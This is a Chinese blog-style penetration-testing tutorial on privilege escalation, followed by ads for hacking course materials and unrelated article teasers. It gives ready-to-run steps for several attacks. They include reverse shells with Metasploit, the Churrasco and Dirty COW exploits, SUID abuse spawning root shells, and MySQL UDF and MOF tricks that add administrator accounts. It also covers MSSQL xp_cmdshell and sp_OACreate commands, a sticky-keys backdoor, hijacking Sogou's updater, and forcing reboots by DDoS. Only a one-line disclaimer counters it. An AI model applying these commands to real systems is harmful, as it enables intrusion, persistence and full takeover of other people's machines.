渗透怎么学?渗透测试中超全的提权思路来了!

news2024/10/3 8:18:39

提权Webshell:尽量能够获取webshell,如果获取不到webshell可以在有文件上传的地方上传反弹shell脚本;或者利用漏洞(系统漏洞,服务器漏洞,第三方软件漏洞,数据库漏洞)来获取shell。

反弹shell:利用kali虚拟机msfVENOM编写反弹shell脚本

被控制端发起的shell---通常用于被控制端因防火墙受限,权限不足、端口被占用

开启监听:msfconsole模块监听响应的反弹shell脚本(当靶机点击脚本的时候),进入meterpreter模块,可以getsystem权限,获取信息等等,还可以开启远程服务功能(lcx,scocks5)

Windows系统漏洞提权思路---windows(可执行文件:一种是.com;另一种.exe)

系统溢出漏洞操作说明

  • 1、明确漏洞编号及版本
  • 2、明确漏洞利用平台及版本
  • 3、确保cmd执行权限正常运行
  • 4、确保服务器相关防护软件情况

  • 查看系统补丁,提权前期准备【前提已获取webshell】
  • 方法一:输入shell进入到该主机的shell下,然后:systeminfo 查看系统详细信息
  • 方法二:进入到 meterpreter 下,执行 run post/windows/gather/enum_patches 可以直接查看补丁情况
  • 方法三:post/multi/recon/local_exploit_suggester 模块,用于快速识别系统中可能被利用的漏洞
  • 方法四:WMIC命令也可以查看补丁数量
  • wmic qfe get Caption,Description,HotFixID,InstalledOn
  • 也可以直接找是否存在某个cve-2018-8120对应的KB4131188补丁
  • wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4131188"
  • 方法五:Windows Exploit Suggester
  • 该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而其只需要目标系统的信息。
  • 通过msf生成反弹exe进行反弹操作,获取meterpreter通道
  • 监听获取成功后,进行exp的筛选
  • 探测可提取的模块use post/multi/recon/local_exploit_suggester
  • windows系统漏洞示例
  • 根据systeminfo查看补丁信息,发现未打上相应的补丁kb952004、KB956572,于是利用上传巴西烤肉(Churrasco.exe)exp提权,Churrasco.exe是Windows2003系统下的一个本地提权漏洞,通过此工具可以以SYSTEM权限执行命令,从而可以达到添加用户的目的。
  • 由于低权限用户无法执行太多操作,可以利用反弹上传Churrasco.exe,后续可以利用它来做提权。

添加用户以及加入管理员组,方便我们提高操作权限。

输入net user指令查看是否添加成功,最后提权成功。

linux系统提权思路

linux基础信息收集

uname -a 显示全部系统信息

cat /etc/issue 内核信息。此命令也适用于所有的Linux发行版

cat /etc/passwd 所有人都可看

ps aux | grep root

(1)#内核漏洞提权

方法:

通过信息收集方式得知linux内核版本

使用searchspolit搜索相应版本漏洞

例:searchsploit linux 4.0.0

searchsploit Ubuntu 16.04

searchsploit Ubuntu 16 kernel 3.10

找到对应的.c源文件,将其发送到靶机/或是靶机下载 scp, wget //127.0.0.1/xx.c

编译,gcc xxx.c -o exp

(2)#SUID提权

概念

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。

特点

SUID 权限仅对二进制程序有效

执行者对于该程序需要有可执行权限(x权限)

SUID 权限仅仅在程序执行过程中有效

执行该程序时,执行者将具有该程序拥有者的权限

首先在本地查找符合条件的文件,有以下三个命令

列出来的所有文件都是以root用户权限来执行的,接下来找到可以提权的文件

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} \;

常用的可用于suid提权的文件

Nmap、Vim、find、Bash、More、Less、cp

(3)#nmap提权

较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。因此可以使用交互式控制台来运行具有相同权限的shell。

方法一:

启动交互模式,使用nmap --interactive

!sh #执行之后将提供一个提权后的shell。

方法二:

Metasploit模块,也可以通过SUID Nmap二进制文件进行提权。

exploit/unix/local/setuid_nmap

(4)#find提权

实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

(5)#sudo提权

sudo命令以系统管理者的身份执行指令,也就是说,经由 sudo 所执行的指令就好像是 root 亲自执行。

sudo 表示 “superuser do”。 它允许已验证的用户以其他用户的身份来运行命令。其他用户可以是普通用户或者超级用户。然而,大部分时候我们用它来以提升的权限来运行命令。

linux内核提权示例

1.使用nc或lcx反弹到攻击者的电脑

2.使用 uname –a 查看Linux 版本内核等系统信息

3.在exploit库中寻找相应系统版本和内核的漏洞利用模块。(www.exploit-db.com)

4.上传exp到目标服务器中,chmod 777赋予exp权限,需要进行编译的先进行编译。

5.提权后便可以添加ssh用户 (useradd -o -u 0 -g 0 username)

通过webshell上传ft.pl,为了等下的反弹shell

系统信息收集Uname -a显示的版本内核为(2.6.24>2.6.22),可能存在脏牛漏洞

ft.pl文件反弹shell

Kali开启监听

编译dirty.c文件,生成一个可执行的EXP,运行./dirty su123(密码)

生成账号firefart,密码su123

新生成的管理员用户firefart把原来的root用户替换掉了(root--->firefart)

可以通过ssh连接

数据库提权思路

数据库获取网站数据库的账号和密码

--通过读取一些数据库配置文件

数据库配置文件:命令规则(data、sql、inc、config、conn、database等)

--通过mysql数据库的user表

数据库安装文件:安装目录下data/mysql/user.myd

frm:描述表结构文件,字段长度

myi:索引信息

myd:数据库信息文件,存储数据信息

(1)mysql数据库——udf提权

udf文件:udf(user-defined-function)是mysql得一个拓展接口,也称为用户自定义函数,用户通过自定义函数来实现在mysql中无法方便实现得功能

udf文件后缀名: .dll(windows)linux后缀名:.so

提权原理

已知root账号和密码,利用root权限,创建带有调用cmd函数的“udf.dll”。当我们把udf.dll导出指定文件夹引入mysql时候,其中的调用函数拿出来当作mysql函数来使用

注意事项

mysql版本小于5.1版本,udf.dll文件在windows2003下放在:c:\windows\system32。在windows2000放在:c:\winnt\system32

mysql版本大于5.1版本,udf.dll文件必须放置在mysql安装目录下的lib\plugin。但是大于5.1版本的时候没有plugin这个文件夹,需要自己创建。

利用udf文件加载函数执行命令

create function cmdshell returns string soname 'udf.dll'; //returns string soname ‘导出的DLL路径’;

select cmdshell('net user ndsec ndsecpw /add');

select cmdshell('net localgroup administrators ndsec /add');

drop function cmdshell;

(2)#数据库提权——mof提权

mof文件:mof文件是mysql数据库的扩展文件

存放路径(C:/windows/system32/wbem/mof/nullevt.mof)

其作用是每隔5秒就会去监控进程创建和死亡。

提权条件

1、windows2003及以下

2、mysql启动身份具有权限去读写C:/windows/system32/wbem/mof/目录

3、secure-file-priv=不为null

提权原理

mof文件每5秒就会执行,而且是系统权限,我们可以通过load_file将文件写入/wbme/mof,然后系统每5秒就会执行一次我们上传的mof

mof当中是一段vbs脚本,通过通过控制vbs脚本让系统执行命令,进行提权。

(3)#数据库提权——反弹端口提权

提权条件

1、获取数据库的账号和密码,同时能够执行查询命令。

2、secure_file_priv=,可导出udf.dll到系统目录或者mysql数据库安装目录下的lib下plugin

3、授权mysql数据库远程用户的登录

(4)#数据库提权——启动项提权 (这种方法不推荐)

提权原理

使用mysql写文件,写一段vbs代码到开启自启动中。服务器重启的时候达到创建用户并提取。可以使用DDOS迫使服务器重启

提权条件

secure_file_priv不为null

已知账号和密码

(5)linux系统-udf提权

上传脚本进行监听

靶机连接数据库

查看版本

use mysql;

create table foo(line blob);

insert into foo values(load_file('/tmp/raptor_udf2.so'));

select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

create function do_system returns integer soname 'raptor_udf2.so';

select do_system('chmod u+s /usr/bin/find');

find / -exec "/bin/sh" \;

mssql数据库SA权限

执行命令存储过程:xp_cmshell、sp_OACreate

注册表存储过程:xp_regwrite

存储过程

其实质就是一个“集合”。它就是存储在sqlserver中预先定义好的“sql语句集合。”使用T-SQL语言编写好的各种小脚本共同组合成的集合体,我们就称为“存储过程”

利用xp_cmdshell提权

(1)xp_cmdshell解释

Xp_cmdshell是sqlserver中的组件,可以以操作系统命令解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出。可以用来执行系统命令

(2)xp_cmdshell开启

默认在sql server2000中是开启的,在sqlserver2005之后的版本默认禁止。如果我们有sa权限,可以用命令开启

exec sp_configure ‘show advanced options’ , 1;reconfigure;

exec sp_configure ‘xp_cmdshell’, 1;reconfigure;

xp_cmdshell 关闭

exec sp_configure 'show advanced options',1;reconfigure;

exec sp_configure 'ole automation procedures',0;reconfigure;

exec sp_configure 'show advanced options',0;reconfigure;

(3)当xp_cmdshell删除或出错的情况下,使用sp_OACreate组件

开启组件SP_OACreate

exec sp_configure 'show advanced options',1;reconfigure;

exec sp_configure 'ole automation procedures',1;reconfigure;

关闭组件SP_OACreate

exec sp_configure 'show advanced options',1;reconfigure;

exec sp_configure 'ole automation procedures',0;reconfigure;

exec sp_configure 'show advanced options',0;reconfigure;

利用SP_OACreate添加用户提权

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user quan 123456 /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators quan /add'

利用SP_OACreate的其他操作

sp_OACreate替换粘贴键

declare @o int

exec sp_oacreate 'scripting.filesystemobject', @o out

execsp_oamethod@o,'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';

declare @o int

exec sp_oacreate 'scripting.filesystemobject', @o out

execsp_oamethod@o,'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

(4)使用注册表存储过程:xp_regwrite

udf提权示例

  • (1)mysql版本小于5.1版本,udf.dll文件在windows2003下放在:c:\windows\system32。在windows2000放在:c:\winnt\system32
  • (2)mysql版本大于5.1版本,udf.dll文件必须放置在mysql安装目录下的lib\plugin。但是大于5.1版本的时候没有plugin这个文件夹,需要自己创建。
  • (3)利用udf文件加载函数执行命令
  • ```shell
  • create function cmdshell returns string soname 'udf.dll'; //returns string soname ‘导出的DLL路径’;
  • select cmdshell('net user ndsec ndsecpw /add');
  • select cmdshell('net localgroup administrators ndsec /add');
  • drop function cmdshell;

```

用蚁剑连接一句话木马,执行蚁剑的数据库功能模块(可以执行SQL语句),查看版本(5.5.53>5.1),udf.dll文件必须放置在mysql安装目录下的lib\plugin。但是大于5.1版本的时候没有plugin这个文件夹,需要自己创建。

在c:/phpStudy/MySQL/lib/目录下创建一个文件夹plugin,然后上传我们的udf.dll文件

把udf.dll导出指定文件夹引入mysql,调用cmd函数的”udf.dll”

查看当前用户,当前并无ndsec用户

调用cmd创建用户,用户名为ndsec,密码为ndsecpw

net user ndsec ndsecpw /add

添加用户ndsec进系统用户组

net user localgroup administrators ndsec /add

删除cmd函数

查看当前系统用户,发现添加用户成功,提权成功

第三方软件提权思路

第三方软件指的是该非线性编辑系统生产商以外的软件公司提供的软件,功能十分强大,有些甚至是从工作站转移过来的,可以这么说,非线性编辑系统之所以能做到效果变幻莫测,匪夷所思,吸引众人的视线,完全取决于第三方软件。第三方软件提权,就是利用第三方软件存在的漏洞来进行获取一个权限的操作。

Sogou输入法提权示例

由于搜狗输入法默认设置是自动更新(很少有人去更改这个设置),更新程序没有对exe做任何校验直接在输入法升级时调用运行,导致可以执行恶意代码。

在获取webshell的前提下,在D盘下找到了搜狗的路径

上传我们的PinyinUp.exe文件,把之前搜狗路径下的PinyinUp文件改个名字

当用户更新词库的时候就会调用我们的PinyinUp.exe程序,然后生成用户密码

添加成功

*本文章仅供技术交流分享,请勿做未授权违法攻击,雨笋教育不负任何责任。具体请参考《网络安全法》。

                       如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

如果你对网络安全感兴趣,学习资源免费分享,保证100%免费!!!(嘿客入门教程)

👉网安(嘿客)全套学习视频👈

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

👉网安(嘿客红蓝对抗)所有方向的学习路线👈

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

 学习资料工具包

压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。

在这里插入图片描述

面试题资料

独家渠道收集京东、360、天融信等公司测试题!进大厂指日可待!
在这里插入图片描述

👉嘿客必备开发工具👈

工欲善其事必先利其器。学习客常用的开发软件都在这里了,给大家节省了很多时间。

这份完整版的网络安全(客)全套学习资料已经上传至CSDN官方,朋友们如果需要点击下方链接也可扫描下方微信二v码获取网络工程师全套资料【保证100%免费】

在这里插入图片描述

如果你有需要可以点击👉CSDN大礼包:《嘿客&网络安全入门&进阶学习资源包》免费分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/686190.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

webpack3 打包vue项目导致app体积过大

问题说明:打包导致 js 很大,然后访问特别慢。 Q:如果你的 js 达到了好几M,(除了个别情况,比如的代码量真的超级大到不行,其实这个本身就不成立)。我最开始就是,打包了我…

CSDN个性化推荐系统-负反馈测试

文章目录 前言一、uc不感兴趣标签过滤测试1.uc不感兴趣标签获取(uc_unlike_tag_list)1.1个人中心界面1.2从标签中可以发现什么?1.3与研发确认点1.4设计开发1.5接口获取结果 2.推荐流文章标签获取(tag_list)2.1部分代码2.2基本标签校验2.3基本标签校验结果 3.推荐流u…

Linux——DNS域名解析服务

个人简介:云计算网络运维专业人员,了解运维知识,掌握TCP/IP协议,每天分享网络运维知识与技能。座右铭:海不辞水,故能成其大;山不辞石,故能成其高。 个人主页:小李会科技的…

【③MySQL 数据查询】:提高查询的效率

前言 ✨欢迎来到小K的MySQL专栏,本节将为大家带来MySQL数据查询的讲解(基本、分组、排序、聚合、分页、条件查询) 目录 前言一、基本查询二、条件查询三、聚合函数(统计函数)四、分组查询五、排序查询五、分页查询六、总结 一、基本查询 MySQ…

海格里斯HEGERLS仓储设备高端定制|四向穿梭车立体库仓储的重要设备换层提升机

随着科技的快速发展,仓储物流行业已慢慢的朝着无人化、自动化和智能化方向快速发展,用户的需求量也随之日益提升。自动化立体库早已成为很多企业智能仓的标配,可以实现仓库高层合理化、存取自动化、操作简便化。在立体仓库内,高位…

基于SQL Server数据库的安全性对策探究

数据库进阶课程论文 题 目:基于SQL Server数据库的安全性对策探究 作者姓名: 作者学号: 专业班级: 提交时间: 2023/6/4 目 录 1概述 1 2 SQL Server数据库的安全问题 1 2.1以使用者身份进入数据库 1 2&a…

区块链中怎么惩罚虚假信息的矿工,工作量证明POW,共识算法

目录 区块链中怎么惩罚虚假信息的矿工 工作量证明POW 什么是工作量证明? 现在出现了另一个问题:如果其他人偷看了小明的答案并且抢答了怎么办? 为什么区块可以安全广播? 共识算法 小结 区块链中怎么惩罚虚假信息的矿工 1…

二叉树|代码随想录2刷|11-34

222.完全二叉树的节点个数 链接:力扣 利用完全二叉树的性质,这个更容易想到,如何计算完全二叉树的节点数 | labuladong 的算法小抄 另一个二分的方法计算太偏了,既然时间复杂度都是O(logn*logn)&#xff0c…

Python读写xml(xml,lxml)Edge 浏览器插件 WebTab - 免费ChatGPT

Python读写xml(xml,lxml)Edge 浏览器插件 WebTab - 免费ChatGPT XML一、xml文件创建方法一:使用xml.dom.minidom1、文件、标签的创建 方法二:使用ElementTree 二、xml文件修改1、修改标签内容,属性2、增加子…

flask旅游数据可视化-计算机毕设 附源码81319

flask旅游数据可视化 摘要 信息化社会内需要与之针对性的信息获取途径,但是途径的扩展基本上为人们所努力的方向,由于站在的角度存在偏差,人们经常能够获得不同类型信息,这也是技术最为难以攻克的课题。针对旅游数据可视化等问题&…

阿里企业邮箱标准版、集团版和尊享版有什么区别?

阿里云企业邮箱版本分为免费版、标准版、集团版和尊享版,除了费用区别,功能方面有什么差异?如何选择企业邮箱版本?免费版0元适合初创型企业,标准版适合大、中、小型企业使用,涉及子公司之间邮箱通讯可以选择…

cesium多颗卫星绕着不同的轨道旋转示例

本示例的目的是介绍演示如何在vue+satellite项目中模拟多颗卫星的运行轨迹和覆盖状态。 直接复制下面的 vue+satellite源示例代码,操作2分钟即可运行实现效果 文章目录 示例效果配置方式示例代码相关API参考:示例效果 配置方式 1)查看基础设置:https://xiaozhuanlan.com…

knife4j 4.1.0(OpenAPI3)实现spring security或shiro权限注解内容显示

前两天写了个knife4j(swagger2)实现spring security或shiro权限注解内容显示,主要是使用knife4j 2.0.5来实现权限注解内容显示的扩展。 在Spring Boot 3 中只支持OpenAPI3规范,集成knife4j的stater:knife4j-openapi3-…

Deepin 20.08 linux 升级nvidia驱动 黑屏 报错nvrm api mismatch

驱动连接 https://us.download.nvidia.cn/XFree86/Linux-x86_64/535.54.03/NVIDIA-Linux-x86_64-535.54.03.run 安装过程 systemctl set-default multi-user.target reboot 重启到字符界面后 chmod x NVIDIA-Linux-x86_64-535.54.03.run sudo ./NVIDIA-Linux-x86_64-535.5…

C++(11):关联容器

关联容器和顺序容器有着根本的不同:关联容器中的元素是按关键字来保存和访问的。与之相对,顺序容器中的元素是按它们在容器中的位置来顺序保存和访问的。 虽然关联容器的很多行为与顺序容器相同,但其不同之处反映了关键字的作用。 关联容器…

服务器数据中了locked勒索病毒,有关locked勒索病毒的介绍与预防建议

随着网络的普及和科技技术的发展,网络安全问题日益突出。而其中,勒索病毒就是一种常见的网络安全威胁。一旦企业的服务器数据库被勒索病毒攻击,会导致企业内部的重要数据被加密,给工作和生产生活带了极大的困扰。下面就为大家介绍…

Python工具箱系列(三十七)

二进制文件操作(上) python比较擅长与文本相关的操作。但现实世界中,对于非文本消息的处理也很普遍。例如: ◆通过有线、无线传递传感器获得的测量数据。 ◆卫星通过电磁波发送测量数据。 ◆数据中心的数万台服务器发送当前CP…

Android Studio 配置 DCL 单例脚本

DCL(Double-Checked Locking)单例是一种用于创建单例对象的设计模式。单例模式是一种创建型模式,用于确保一个类只有一个实例,并提供全局访问点。 DCL单例的核心思想是使用双重检查来保证只有在需要时才对实例进行实例化。它结合…

MIT 6.830 数据库系统 -- Lab One

MIT 6.830 Lab One 项目拉取SimpleDB存储结构一览SimpleDB特性说明Lab One练习一练习二练习三练习四练习五练习六练习七 项目拉取 原项目使用ant进行项目构建,我已经更改为Maven构建,大家直接拉取我改好后的项目即可: https://gitee.com/DaHuYuXiXi/si…

物联网助力鲜花冷链安全——温湿度监控系统

近几年来我国花卉生产的发展尤为迅速,生产面积逐年扩大,产值成倍增长,内销市场越来越旺,出口创汇也有较大幅度上升。 随着人民生活水平的提高和可支配收入的增加,人们对鲜花的需求日益增长,花卉市场的前景…